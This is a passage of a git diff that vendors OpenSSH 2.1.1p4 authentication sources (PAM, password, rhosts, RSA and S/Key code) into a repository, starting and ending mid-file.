PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + } + } +} + +/* Attempt password authentation using PAM */ +int auth_pam_password(struct passwd *pw, const char *password) +{ + extern ServerOptions options; + int pam_retval; + + /* deny if no user. */ + if (pw == NULL) + return 0; + if (pw->pw_uid == 0 && options.permit_root_login == 2) + return 0; + if (*password == '\0' && options.permit_empty_passwd == 0) + return 0; + + pampasswd = password; + + pam_retval = pam_authenticate((pam_handle_t *)pamh, 0); + if (pam_retval == PAM_SUCCESS) { + debug("PAM Password authentication accepted for user \"%.100s\"", + pw->pw_name); + return 1; + } else { + debug("PAM Password authentication for \"%.100s\" failed: %s", + pw->pw_name, PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + return 0; + } +} + +/* Do account management using PAM */ +int do_pam_account(char *username, char *remote_user) +{ + int pam_retval; + + debug("PAM setting rhost to \"%.200s\"", get_canonical_hostname()); + pam_retval = pam_set_item((pam_handle_t *)pamh, PAM_RHOST, + get_canonical_hostname()); + if (pam_retval != PAM_SUCCESS) { + fatal("PAM set rhost failed: %.200s", + PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + } + + if (remote_user != NULL) { + debug("PAM setting ruser to \"%.200s\"", remote_user); + pam_retval = pam_set_item((pam_handle_t *)pamh, PAM_RUSER, remote_user); + if (pam_retval != PAM_SUCCESS) { + fatal("PAM set ruser failed: %.200s", + PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + } + } + + pam_retval = pam_acct_mgmt((pam_handle_t *)pamh, 0); + switch (pam_retval) { + case PAM_SUCCESS: + /* This is what we want */ + break; + case PAM_NEW_AUTHTOK_REQD: + pam_msg_cat(NEW_AUTHTOK_MSG); + break; + default: + log("PAM rejected by account configuration: %.200s", + PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + return(0); + } + + return(1); +} + +/* Do PAM-specific session initialisation */ +void do_pam_session(char *username, const char *ttyname) +{ + int pam_retval; + + if (ttyname != NULL) { + debug("PAM setting tty to \"%.200s\"", ttyname); + pam_retval = pam_set_item((pam_handle_t *)pamh, PAM_TTY, ttyname); + if (pam_retval != PAM_SUCCESS) { + fatal("PAM set tty failed: %.200s", + PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + } + } + + pam_retval = pam_open_session((pam_handle_t *)pamh, 0); + if (pam_retval != PAM_SUCCESS) { + fatal("PAM session setup failed: %.200s", + PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + } +} + +/* Set PAM credentials */ +void do_pam_setcred() +{ + int pam_retval; + + debug("PAM establishing creds"); + pam_retval = pam_setcred((pam_handle_t *)pamh, PAM_ESTABLISH_CRED); + if (pam_retval != PAM_SUCCESS) { + fatal("PAM setcred failed: %.200s", + PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + } +} + +/* Cleanly shutdown PAM */ +void finish_pam(void) +{ + pam_cleanup_proc(NULL); + fatal_remove_cleanup(&pam_cleanup_proc, NULL); +} + +/* Start PAM authentication for specified account */ +void start_pam(struct passwd *pw) +{ + int pam_retval; + + debug("Starting up PAM with username \"%.200s\"", pw->pw_name); + + pam_retval = pam_start(SSHD_PAM_SERVICE, pw->pw_name, &conv, + (pam_handle_t**)&pamh); + + if (pam_retval != PAM_SUCCESS) { + fatal("PAM initialisation failed: %.200s", + PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + } + +#ifdef PAM_TTY_KLUDGE + /* + * Some PAM modules (e.g. pam_time) require a TTY to operate, + * and will fail in various stupid ways if they don't get one. + * sshd doesn't set the tty until too late in the auth process and may + * not even need one (for tty-less connections) + * Kludge: Set a fake PAM_TTY + */ + pam_retval = pam_set_item((pam_handle_t *)pamh, PAM_TTY, "ssh"); + if (pam_retval != PAM_SUCCESS) { + fatal("PAM set tty failed: %.200s", + PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + } +#endif /* PAM_TTY_KLUDGE */ + + fatal_add_cleanup(&pam_cleanup_proc, NULL); +} + +/* Return list of PAM enviornment strings */ +char **fetch_pam_environment(void) +{ +#ifdef HAVE_PAM_GETENVLIST + return(pam_getenvlist((pam_handle_t *)pamh)); +#else /* HAVE_PAM_GETENVLIST */ + return(NULL); +#endif /* HAVE_PAM_GETENVLIST */ +} + +/* Print any messages that have been generated during authentication */ +/* or account checking to stderr */ +void print_pam_messages(void) +{ + if (pam_msg != NULL) + fputs(pam_msg, stderr); +} + +/* Append a message to the PAM message buffer */ +void pam_msg_cat(const char *msg) +{ + char *p; + size_t new_msg_len; + size_t pam_msg_len; + + new_msg_len = strlen(msg); + + if (pam_msg) { + pam_msg_len = strlen(pam_msg); + pam_msg = xrealloc(pam_msg, new_msg_len + pam_msg_len + 2); + p = pam_msg + pam_msg_len; + } else { + pam_msg = p = xmalloc(new_msg_len + 2); + } + + memcpy(p, msg, new_msg_len); + p[new_msg_len] = '\n'; + p[new_msg_len + 1] = '\0'; +} + +#endif /* USE_PAM */ diff --git a/other/openssh-2.1.1p4/auth-pam.h b/other/openssh-2.1.1p4/auth-pam.h new file mode 100644 index 0000000..191d80c --- /dev/null +++ b/other/openssh-2.1.1p4/auth-pam.h @@ -0,0 +1,15 @@ +#include "includes.h" +#ifdef USE_PAM + +#include /* For struct passwd */ + +void start_pam(struct passwd *pw); +void finish_pam(void); +int auth_pam_password(struct passwd *pw, const char *password); +char **fetch_pam_environment(void); +int do_pam_account(char *username, char *remote_user); +void do_pam_session(char *username, const char *ttyname); +void do_pam_setcred(); +void print_pam_messages(void); + +#endif /* USE_PAM */ diff --git a/other/openssh-2.1.1p4/auth-passwd.c b/other/openssh-2.1.1p4/auth-passwd.c new file mode 100644 index 0000000..93756e9 --- /dev/null +++ b/other/openssh-2.1.1p4/auth-passwd.c @@ -0,0 +1,142 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Sat Mar 18 05:11:38 1995 ylo + * Password authentication. This file contains the functions to check whether + * the password is valid for the user. + */ + +#include "includes.h" + +RCSID("$OpenBSD: auth-passwd.c,v 1.16 2000/06/20 01:39:38 markus Exp $"); + +#if !defined(USE_PAM) && !defined(HAVE_OSF_SIA) + +#include "packet.h" +#include "ssh.h" +#include "servconf.h" +#include "xmalloc.h" + +#ifdef WITH_AIXAUTHENTICATE +# include +#endif +#ifdef HAVE_HPUX_TRUSTED_SYSTEM_PW +# include +# include +#endif +#ifdef HAVE_SHADOW_H +# include +#endif +#ifdef HAVE_GETPWANAM +# include +# include +# include +#endif +#if defined(HAVE_MD5_PASSWORDS) && !defined(HAVE_MD5_CRYPT) +# include "md5crypt.h" +#endif /* defined(HAVE_MD5_PASSWORDS) && !defined(HAVE_MD5_CRYPT) */ + +/* + * Tries to authenticate the user using password. Returns true if + * authentication succeeds. + */ +int +auth_password(struct passwd * pw, const char *password) +{ + extern ServerOptions options; + char *encrypted_password; + char *pw_password; + char *salt; +#ifdef HAVE_SHADOW_H + struct spwd *spw; +#endif +#ifdef HAVE_GETPWANAM + struct passwd_adjunct *spw; +#endif +#ifdef WITH_AIXAUTHENTICATE + char *authmsg; + char *loginmsg; + int reenter = 1; +#endif + + /* deny if no user. */ + if (pw == NULL) + return 0; + if (pw->pw_uid == 0 && options.permit_root_login == 2) + return 0; + if (*password == '\0' && options.permit_empty_passwd == 0) + return 0; + +#ifdef SKEY + if (options.skey_authentication == 1) { + int ret = auth_skey_password(pw, password); + if (ret == 1 || ret == 0) + return ret; + /* Fall back to ordinary passwd authentication. */ + } +#endif + +#ifdef WITH_AIXAUTHENTICATE + return (authenticate(pw->pw_name,password,&reenter,&authmsg) == 0); +#endif + +#ifdef KRB4 + if (options.kerberos_authentication == 1) { + int ret = auth_krb4_password(pw, password); + if (ret == 1 || ret == 0) + return ret; + /* Fall back to ordinary passwd authentication. */ + } +#endif + + /* Check for users with no password. */ + if (strcmp(password, "") == 0 && strcmp(pw->pw_passwd, "") == 0) + return 1; + + pw_password = pw->pw_passwd; + +#if defined(HAVE_SHADOW_H) && !defined(DISABLE_SHADOW) + spw = getspnam(pw->pw_name); + if (spw != NULL) + { + /* Check for users with no password. */ + if (strcmp(password, "") == 0 && strcmp(spw->sp_pwdp, "") == 0) + return 1; + + pw_password = spw->sp_pwdp; + } +#endif /* defined(HAVE_SHADOW_H) && !defined(DISABLE_SHADOW) */ +#if defined(HAVE_GETPWANAM) && !defined(DISABLE_SHADOW) + if (issecure() && (spw = getpwanam(pw->pw_name)) != NULL) + { + /* Check for users with no password. */ + if (strcmp(password, "") == 0 && strcmp(spw->pwa_passwd, "") == 0) + return 1; + + pw_password = spw->pwa_passwd; + } +#endif /* defined(HAVE_GETPWANAM) && !defined(DISABLE_SHADOW) */ + + if (pw_password[0] != '\0') + salt = pw_password; + else + salt = "xx"; + +#ifdef HAVE_MD5_PASSWORDS + if (is_md5_salt(salt)) + encrypted_password = md5_crypt(password, salt); + else + encrypted_password = crypt(password, salt); +#else /* HAVE_MD5_PASSWORDS */ +# ifdef HAVE_HPUX_TRUSTED_SYSTEM_PW + encrypted_password = bigcrypt(password, salt); +# else + encrypted_password = crypt(password, salt); +# endif /* HAVE_HPUX_TRUSTED_SYSTEM_PW */ +#endif /* HAVE_MD5_PASSWORDS */ + + /* Authentication is accepted if the encrypted passwords are identical. */ + return (strcmp(encrypted_password, pw_password) == 0); +} +#endif /* !USE_PAM && !HAVE_OSF_SIA */ diff --git a/other/openssh-2.1.1p4/auth-rh-rsa.c b/other/openssh-2.1.1p4/auth-rh-rsa.c new file mode 100644 index 0000000..4386758 --- /dev/null +++ b/other/openssh-2.1.1p4/auth-rh-rsa.c @@ -0,0 +1,115 @@ +/* + * + * auth-rh-rsa.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Sun May 7 03:08:06 1995 ylo + * + * Rhosts or /etc/hosts.equiv authentication combined with RSA host + * authentication. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: auth-rh-rsa.c,v 1.14 2000/06/20 01:39:38 markus Exp $"); + +#include "packet.h" +#include "ssh.h" +#include "xmalloc.h" +#include "uidswap.h" +#include "servconf.h" + +#include +#include +#include "key.h" +#include "hostfile.h" + +/* + * Tries to authenticate the user using the .rhosts file and the host using + * its host key. Returns true if authentication succeeds. + */ + +int +auth_rhosts_rsa(struct passwd *pw, const char *client_user, RSA *client_host_key) +{ + extern ServerOptions options; + const char *canonical_hostname; + HostStatus host_status; + Key *client_key, *found; + + debug("Trying rhosts with RSA host authentication for %.100s", client_user); + + if (client_host_key == NULL) + return 0; + + /* Check if we would accept it using rhosts authentication. */ + if (!auth_rhosts(pw, client_user)) + return 0; + + canonical_hostname = get_canonical_hostname(); + + debug("Rhosts RSA authentication: canonical host %.900s", canonical_hostname); + + /* wrap the RSA key into a 'generic' key */ + client_key = key_new(KEY_RSA); + BN_copy(client_key->rsa->e, client_host_key->e); + BN_copy(client_key->rsa->n, client_host_key->n); + found = key_new(KEY_RSA); + + /* Check if we know the host and its host key. */ + host_status = check_host_in_hostfile(SSH_SYSTEM_HOSTFILE, canonical_hostname, + client_key, found); + + /* Check user host file unless ignored. */ + if (host_status != HOST_OK && !options.ignore_user_known_hosts) { + struct stat st; + char *user_hostfile = tilde_expand_filename(SSH_USER_HOSTFILE, pw->pw_uid); + /* + * Check file permissions of SSH_USER_HOSTFILE, auth_rsa() + * did already check pw->pw_dir, but there is a race XXX + */ + if (options.strict_modes && + (stat(user_hostfile, &st) == 0) && + ((st.st_uid != 0 && st.st_uid != pw->pw_uid) || + (st.st_mode & 022) != 0)) { + log("Rhosts RSA authentication refused for %.100s: bad owner or modes for %.200s", + pw->pw_name, user_hostfile); + } else { + /* XXX race between stat and the following open() */ + temporarily_use_uid(pw->pw_uid); + host_status = check_host_in_hostfile(user_hostfile, canonical_hostname, + client_key, found); + restore_uid(); + } + xfree(user_hostfile); + } + key_free(client_key); + key_free(found); + + if (host_status != HOST_OK) { + debug("Rhosts with RSA host authentication denied: unknown or invalid host key"); + packet_send_debug("Your host key cannot be verified: unknown or invalid host key."); + return 0; + } + /* A matching host key was found and is known. */ + + /* Perform the challenge-response dialog with the client for the host key. */ + if (!auth_rsa_challenge_dialog(client_host_key)) { + log("Client on %.800s failed to respond correctly to host authentication.", + canonical_hostname); + return 0; + } + /* + * We have authenticated the user using .rhosts or /etc/hosts.equiv, + * and the host using RSA. We accept the authentication. + */ + + verbose("Rhosts with RSA host authentication accepted for %.100s, %.100s on %.700s.", + pw->pw_name, client_user, canonical_hostname); + packet_send_debug("Rhosts with RSA host authentication accepted."); + return 1; +} diff --git a/other/openssh-2.1.1p4/auth-rhosts.c b/other/openssh-2.1.1p4/auth-rhosts.c new file mode 100644 index 0000000..f670276 --- /dev/null +++ b/other/openssh-2.1.1p4/auth-rhosts.c @@ -0,0 +1,266 @@ +/* + * + * auth-rhosts.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Fri Mar 17 05:12:18 1995 ylo + * + * Rhosts authentication. This file contains code to check whether to admit + * the login based on rhosts authentication. This file also processes + * /etc/hosts.equiv. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: auth-rhosts.c,v 1.14 2000/06/20 01:39:38 markus Exp $"); + +#include "packet.h" +#include "ssh.h" +#include "xmalloc.h" +#include "uidswap.h" +#include "servconf.h" + +/* + * This function processes an rhosts-style file (.rhosts, .shosts, or + * /etc/hosts.equiv). This returns true if authentication can be granted + * based on the file, and returns zero otherwise. + */ + +int +check_rhosts_file(const char *filename, const char *hostname, + const char *ipaddr, const char *client_user, + const char *server_user) +{ + FILE *f; + char buf[1024]; /* Must not be larger than host, user, dummy below. */ + + /* Open the .rhosts file, deny if unreadable */ + f = fopen(filename, "r"); + if (!f) + return 0; + + while (fgets(buf, sizeof(buf), f)) { + /* All three must be at least as big as buf to avoid overflows. */ + char hostbuf[1024], userbuf[1024], dummy[1024], *host, *user, *cp; + int negated; + + for (cp = buf; *cp == ' ' || *cp == '\t'; cp++) + ; + if (*cp == '#' || *cp == '\n' || !*cp) + continue; + + /* + * NO_PLUS is supported at least on OSF/1. We skip it (we + * don't ever support the plus syntax). + */ + if (strncmp(cp, "NO_PLUS", 7) == 0) + continue; + + /* + * This should be safe because each buffer is as big as the + * whole string, and thus cannot be overwritten. + */ + switch (sscanf(buf, "%s %s %s", hostbuf, userbuf, dummy)) { + case 0: + packet_send_debug("Found empty line in %.100s.", filename); + continue; + case 1: + /* Host name only. */ + strlcpy(userbuf, server_user, sizeof(userbuf)); + break; + case 2: + /* Got both host and user name. */ + break; + case 3: + packet_send_debug("Found garbage in %.100s.", filename); + continue; + default: + /* Weird... */ + continue; + } + + host = hostbuf; + user = userbuf; + negated = 0; + + /* Process negated host names, or positive netgroups. */ + if (host[0] == '-') { + negated = 1; + host++; + } else if (host[0] == '+') + host++; + + if (user[0] == '-') { + negated = 1; + user++; + } else if (user[0] == '+') + user++; + + /* Check for empty host/user names (particularly '+'). */ + if (!host[0] || !user[0]) { + /* We come here if either was '+' or '-'. */ + packet_send_debug("Ignoring wild host/user names in %.100s.", + filename); + continue; + } + /* Verify that host name matches. */ + if (host[0] == '@') { + if (!innetgr(host + 1, hostname, NULL, NULL) && + !innetgr(host + 1, ipaddr, NULL, NULL)) + continue; + } else if (strcasecmp(host, hostname) && strcmp(host, ipaddr) != 0) + continue; /* Different hostname. */ + + /* Verify that user name matches. */ + if (user[0] == '@') { + if (!innetgr(user + 1, NULL, client_user, NULL)) + continue; + } else if (strcmp(user, client_user) != 0) + continue; /* Different username. */ + + /* Found the user and host. */ + fclose(f); + + /* If the entry was negated, deny access. */ + if (negated) { + packet_send_debug("Matched negative entry in %.100s.", + filename); + return 0; + } + /* Accept authentication. */ + return 1; + } + + /* Authentication using this file denied. */ + fclose(f); + return 0; +} + +/* + * Tries to authenticate the user using the .shosts or .rhosts file. Returns + * true if authentication succeeds. If ignore_rhosts is true, only + * /etc/hosts.equiv will be considered (.rhosts and .shosts are ignored). + */ + +int +auth_rhosts(struct passwd *pw, const char *client_user) +{ + extern ServerOptions options; + char buf[1024]; + const char *hostname, *ipaddr; + struct stat st; + static const char *rhosts_files[] = {".shosts", ".rhosts", NULL}; + unsigned int rhosts_file_index; + + /* Switch to the user's uid. */ + temporarily_use_uid(pw->pw_uid); + /* + * Quick check: if the user has no .shosts or .rhosts files, return + * failure immediately without doing costly lookups from name + * servers. + */ + for (rhosts_file_index = 0; rhosts_files[rhosts_file_index]; + rhosts_file_index++) { + /* Check users .rhosts or .shosts. */ + snprintf(buf, sizeof buf, "%.500s/%.100s", + pw->pw_dir, rhosts_files[rhosts_file_index]); + if (stat(buf, &st) >= 0) + break; + } + /* Switch back to privileged uid. */ + restore_uid(); + + /* Deny if The user has no .shosts or .rhosts file and there are no system-wide files. */ + if (!rhosts_files[rhosts_file_index] && + stat("/etc/hosts.equiv", &st) < 0 && + stat(SSH_HOSTS_EQUIV, &st) < 0) + return 0; + + hostname = get_canonical_hostname(); + ipaddr = get_remote_ipaddr(); + + /* If not logging in as superuser, try /etc/hosts.equiv and shosts.equiv. */ + if (pw->pw_uid != 0) { + if (check_rhosts_file("/etc/hosts.equiv", hostname, ipaddr, client_user, + pw->pw_name)) { + packet_send_debug("Accepted for %.100s [%.100s] by /etc/hosts.equiv.", + hostname, ipaddr); + return 1; + } + if (check_rhosts_file(SSH_HOSTS_EQUIV, hostname, ipaddr, client_user, + pw->pw_name)) { + packet_send_debug("Accepted for %.100s [%.100s] by %.100s.", + hostname, ipaddr, SSH_HOSTS_EQUIV); + return 1; + } + } + /* + * Check that the home directory is owned by root or the user, and is + * not group or world writable. + */ + if (stat(pw->pw_dir, &st) < 0) { + log("Rhosts authentication refused for %.100s: no home directory %.200s", + pw->pw_name, pw->pw_dir); + packet_send_debug("Rhosts authentication refused for %.100s: no home directory %.200s", + pw->pw_name, pw->pw_dir); + return 0; + } + if (options.strict_modes && + ((st.st_uid != 0 && st.st_uid != pw->pw_uid) || + (st.st_mode & 022) != 0)) { + log("Rhosts authentication refused for %.100s: bad ownership or modes for home directory.", + pw->pw_name); + packet_send_debug("Rhosts authentication refused for %.100s: bad ownership or modes for home directory.", + pw->pw_name); + return 0; + } + /* Temporarily use the user's uid. */ + temporarily_use_uid(pw->pw_uid); + + /* Check all .rhosts files (currently .shosts and .rhosts). */ + for (rhosts_file_index = 0; rhosts_files[rhosts_file_index]; + rhosts_file_index++) { + /* Check users .rhosts or .shosts. */ + snprintf(buf, sizeof buf, "%.500s/%.100s", + pw->pw_dir, rhosts_files[rhosts_file_index]); + if (stat(buf, &st) < 0) + continue; + + /* + * Make sure that the file is either owned by the user or by + * root, and make sure it is not writable by anyone but the + * owner. This is to help avoid novices accidentally + * allowing access to their account by anyone. + */ + if (options.strict_modes && + ((st.st_uid != 0 && st.st_uid != pw->pw_uid) || + (st.st_mode & 022) != 0)) { + log("Rhosts authentication refused for %.100s: bad modes for %.200s", + pw->pw_name, buf); + packet_send_debug("Bad file modes for %.200s", buf); + continue; + } + /* Check if we have been configured to ignore .rhosts and .shosts files. */ + if (options.ignore_rhosts) { + packet_send_debug("Server has been configured to ignore %.100s.", + rhosts_files[rhosts_file_index]); + continue; + } + /* Check if authentication is permitted by the file. */ + if (check_rhosts_file(buf, hostname, ipaddr, client_user, pw->pw_name)) { + packet_send_debug("Accepted by %.100s.", + rhosts_files[rhosts_file_index]); + /* Restore the privileged uid. */ + restore_uid(); + return 1; + } + } + + /* Restore the privileged uid. */ + restore_uid(); + return 0; +} diff --git a/other/openssh-2.1.1p4/auth-rsa.c b/other/openssh-2.1.1p4/auth-rsa.c new file mode 100644 index 0000000..65f9bf7 --- /dev/null +++ b/other/openssh-2.1.1p4/auth-rsa.c @@ -0,0 +1,285 @@ +/* + * + * auth-rsa.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Mon Mar 27 01:46:52 1995 ylo + * + * RSA-based authentication. This code determines whether to admit a login + * based on RSA authentication. This file also contains functions to check + * validity of the host key. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: auth-rsa.c,v 1.27 2000/07/07 03:55:03 todd Exp $"); + +#include "rsa.h" +#include "packet.h" +#include "xmalloc.h" +#include "ssh.h" +#include "mpaux.h" +#include "uidswap.h" +#include "match.h" +#include "servconf.h" +#include "auth-options.h" + +#include +#include + +/* + * Session identifier that is used to bind key exchange and authentication + * responses to a particular session. + */ +extern unsigned char session_id[16]; + +/* + * The .ssh/authorized_keys file contains public keys, one per line, in the + * following format: + * options bits e n comment + * where bits, e and n are decimal numbers, + * and comment is any string of characters up to newline. The maximum + * length of a line is 8000 characters. See the documentation for a + * description of the options. + */ + +/* + * Performs the RSA authentication challenge-response dialog with the client, + * and returns true (non-zero) if the client gave the correct answer to + * our challenge; returns zero if the client gives a wrong answer. + */ + +int +auth_rsa_challenge_dialog(RSA *pk) +{ + BIGNUM *challenge, *encrypted_challenge; + BN_CTX *ctx; + unsigned char buf[32], mdbuf[16], response[16]; + MD5_CTX md; + unsigned int i; + int plen, len; + + encrypted_challenge = BN_new(); + challenge = BN_new(); + + /* Generate a random challenge. */ + BN_rand(challenge, 256, 0, 0); + ctx = BN_CTX_new(); + BN_mod(challenge, challenge, pk->n, ctx); + BN_CTX_free(ctx); + + /* Encrypt the challenge with the public key. */ + rsa_public_encrypt(encrypted_challenge, challenge, pk); + + /* Send the encrypted challenge to the client. */ + packet_start(SSH_SMSG_AUTH_RSA_CHALLENGE); + packet_put_bignum(encrypted_challenge); + packet_send(); + BN_clear_free(encrypted_challenge); + packet_write_wait(); + + /* Wait for a response. */ + packet_read_expect(&plen, SSH_CMSG_AUTH_RSA_RESPONSE); + packet_integrity_check(plen, 16, SSH_CMSG_AUTH_RSA_RESPONSE); + for (i = 0; i < 16; i++) + response[i] = packet_get_char(); + + /* The response is MD5 of decrypted challenge plus session id. */ + len = BN_num_bytes(challenge); + if (len <= 0 || len > 32) + fatal("auth_rsa_challenge_dialog: bad challenge length %d", len); + memset(buf, 0, 32); + BN_bn2bin(challenge, buf + 32 - len); + MD5_Init(&md); + MD5_Update(&md, buf, 32); + MD5_Update(&md, session_id, 16); + MD5_Final(mdbuf, &md); + BN_clear_free(challenge); + + /* Verify that the response is the original challenge. */ + if (memcmp(response, mdbuf, 16) != 0) { + /* Wrong answer. */ + return 0; + } + /* Correct answer. */ + return 1; +} + +/* + * Performs the RSA authentication dialog with the client. This returns + * 0 if the client could not be authenticated, and 1 if authentication was + * successful. This may exit if there is a serious protocol violation. + */ + +int +auth_rsa(struct passwd *pw, BIGNUM *client_n) +{ + extern ServerOptions options; + char line[8192], file[1024]; + int authenticated; + unsigned int bits; + FILE *f; + unsigned long linenum = 0; + struct stat st; + RSA *pk; + + /* Temporarily use the user's uid. */ + temporarily_use_uid(pw->pw_uid); + + /* The authorized keys. */ + snprintf(file, sizeof file, "%.500s/%.100s", pw->pw_dir, + SSH_USER_PERMITTED_KEYS); + + /* Fail quietly if file does not exist */ + if (stat(file, &st) < 0) { + /* Restore the privileged uid. */ + restore_uid(); + return 0; + } + /* Open the file containing the authorized keys. */ + f = fopen(file, "r"); + if (!f) { + /* Restore the privileged uid. */ + restore_uid(); + packet_send_debug("Could not open %.900s for reading.", file); + packet_send_debug("If your home is on an NFS volume, it may need to be world-readable."); + return 0; + } + if (options.strict_modes) { + int fail = 0; + char buf[1024]; + /* Check open file in order to avoid open/stat races */ + if (fstat(fileno(f), &st) < 0 || + (st.st_uid != 0 && st.st_uid != pw->pw_uid) || + (st.st_mode & 022) != 0) { + snprintf(buf, sizeof buf, "RSA authentication refused for %.100s: " + "bad ownership or modes for '%s'.", pw->pw_name, file); + fail = 1; + } else { + /* Check path to SSH_USER_PERMITTED_KEYS */ + int i; + static const char *check[] = { + "", SSH_USER_DIR, NULL + }; + for (i = 0; check[i]; i++) { + snprintf(line, sizeof line, "%.500s/%.100s", pw->pw_dir, check[i]); + if (stat(line, &st) < 0 || + (st.st_uid != 0 && st.st_uid != pw->pw_uid) || + (st.st_mode & 022) != 0) { + snprintf(buf, sizeof buf, "RSA authentication refused for %.100s: " + "bad ownership or modes for '%s'.", pw->pw_name, line); + fail = 1; + break; + } + } + } + if (fail) { + fclose(f); + log("%s",buf); + packet_send_debug("%s",buf); + restore_uid(); + return 0; + } + } + /* Flag indicating whether authentication has succeeded. */ + authenticated = 0; + + pk = RSA_new(); + pk->e = BN_new(); + pk->n = BN_new(); + + /* + * Go though the accepted keys, looking for the current key. If + * found, perform a challenge-response dialog to verify that the + * user really has the corresponding private key. + */ + while (fgets(line, sizeof(line), f)) { + char *cp; + char *options; + + linenum++; + + /* Skip leading whitespace, empty and comment lines. */ + for (cp = line; *cp == ' ' || *cp == '\t'; cp++) + ; + if (!*cp || *cp == '\n' || *cp == '#') + continue; + + /* + * Check if there are options for this key, and if so, + * save their starting address and skip the option part + * for now. If there are no options, set the starting + * address to NULL. + */ + if (*cp < '0' || *cp > '9') { + int quoted = 0; + options = cp; + for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { + if (*cp == '\\' && cp[1] == '"') + cp++; /* Skip both */ + else if (*cp == '"') + quoted = !quoted; + } + } else + options = NULL; + + /* Parse the key from the line. */ + if (!auth_rsa_read_key(&cp, &bits, pk->e, pk->n)) { + debug("%.100s, line %lu: bad key syntax", + SSH_USER_PERMITTED_KEYS, linenum); + packet_send_debug("%.100s, line %lu: bad key syntax", + SSH_USER_PERMITTED_KEYS, linenum); + continue; + } + /* cp now points to the comment part. */ + + /* Check if the we have found the desired key (identified by its modulus). */ + if (BN_cmp(pk->n, client_n) != 0) + continue; + + /* check the real bits */ + if (bits != BN_num_bits(pk->n)) + log("Warning: %s, line %ld: keysize mismatch: " + "actual %d vs. announced %d.", + file, linenum, BN_num_bits(pk->n), bits); + + /* We have found the desired key. */ + + /* Perform the challenge-response dialog for this key. */ + if (!auth_rsa_challenge_dialog(pk)) { + /* Wrong response. */ + verbose("Wrong response to RSA authentication challenge."); + packet_send_debug("Wrong response to RSA authentication challenge."); + continue; + } + /* + * Correct response. The client has been successfully + * authenticated. Note that we have not yet processed the + * options; this will be reset if the options cause the + * authentication to be rejected. + * Break out of the loop if authentication was successful; + * otherwise continue searching. + */ + authenticated = auth_parse_options(pw, options, linenum); + if (authenticated) + break; + } + + /* Restore the privileged uid. */ + restore_uid(); + + /* Close the file. */ + fclose(f); + + RSA_free(pk); + + if (authenticated) + packet_send_debug("RSA authentication accepted."); + + /* Return authentication result. */ + return authenticated; +} diff --git a/other/openssh-2.1.1p4/auth-skey.c b/other/openssh-2.1.1p4/auth-skey.c new file mode 100644 index 0000000..208d380 --- /dev/null +++ b/other/openssh-2.1.1p4/auth-skey.c @@ -0,0 +1,191 @@ +#include "includes.h" +#ifdef SKEY +RCSID("$OpenBSD: auth-skey.c,v 1.7 2000/06/20 01:39:38 markus Exp $"); + +#include "ssh.h" +#include "packet.h" +#include + +/* from %OpenBSD: skeylogin.c,v 1.32 1999/08/16 14:46:56 millert Exp % */ + +/* + * try skey authentication, + * return 1 on success, 0 on failure, -1 if skey is not available + */ + +int +auth_skey_password(struct passwd * pw, const char *password) +{ + if (strncasecmp(password, "s/key", 5) == 0) { + char *skeyinfo = skey_keyinfo(pw->pw_name); + if (skeyinfo == NULL) { + debug("generating fake skeyinfo for %.100s.", + pw->pw_name); + skeyinfo = skey_fake_keyinfo(pw->pw_name); + } + if (skeyinfo != NULL) + packet_send_debug(skeyinfo); + /* Try again. */ + return 0; + } else if (skey_haskey(pw->pw_name) == 0 && + skey_passcheck(pw->pw_name, (char *) password) != -1) { + /* Authentication succeeded. */ + return 1; + } + /* Fall back to ordinary passwd authentication. */ + return -1; +} + +/* from %OpenBSD: skeylogin.c,v 1.32 1999/08/16 14:46:56 millert Exp % */ + +#define ROUND(x) (((x)[0] << 24) + (((x)[1]) << 16) + (((x)[2]) << 8) + \ + ((x)[3])) + +/* + * hash_collapse() + */ +static u_int32_t +hash_collapse(s) + u_char *s; +{ + int len, target; + u_int32_t i; + + if ((strlen(s) % sizeof(u_int32_t)) == 0) + target = strlen(s); /* Multiple of 4 */ + else + target = strlen(s) - (strlen(s) % sizeof(u_int32_t)); + + for (i = 0, len = 0; len < target; len += 4) + i ^= ROUND(s + len); + + return i; +} + +char * +skey_fake_keyinfo(char *username) +{ + int i; + u_int ptr; + u_char hseed[SKEY_MAX_SEED_LEN], flg = 1, *up; + char pbuf[SKEY_MAX_PW_LEN+1]; + static char skeyprompt[SKEY_MAX_CHALLENGE+1]; + char *secret = NULL; + size_t secretlen = 0; + SHA_CTX ctx; + char *p, *u; + + /* + * Base first 4 chars of seed on hostname. + * Add some filler for short hostnames if necessary. + */ + if (gethostname(pbuf, sizeof(pbuf)) == -1) + *(p = pbuf) = '.'; + else + for (p = pbuf; *p && isalnum(*p); p++) + if (isalpha(*p) && isupper(*p)) + *p = tolower(*p); + if (*p && pbuf - p < 4) + (void)strncpy(p, "asjd", 4 - (pbuf - p)); + pbuf[4] = '\0'; + + /* Hash the username if possible */ + up = malloc(SHA_DIGEST_LENGTH); + if (up != NULL) { + struct stat sb; + time_t t; + int fd; + + SHA1_Init(&ctx); + SHA1_Update(&ctx, username, strlen(username)); + SHA1_Final(up, &ctx); + + /* Collapse the hash */ + ptr = hash_collapse(up); + memset(up, 0, strlen(up)); + + /* See if the random file's there, else use ctime */ + if ((fd = open(_SKEY_RAND_FILE_PATH_, O_RDONLY)) != -1 + && fstat(fd, &sb) == 0 && + sb.st_size > (off_t)SKEY_MAX_SEED_LEN && + lseek(fd, ptr % (sb.st_size - 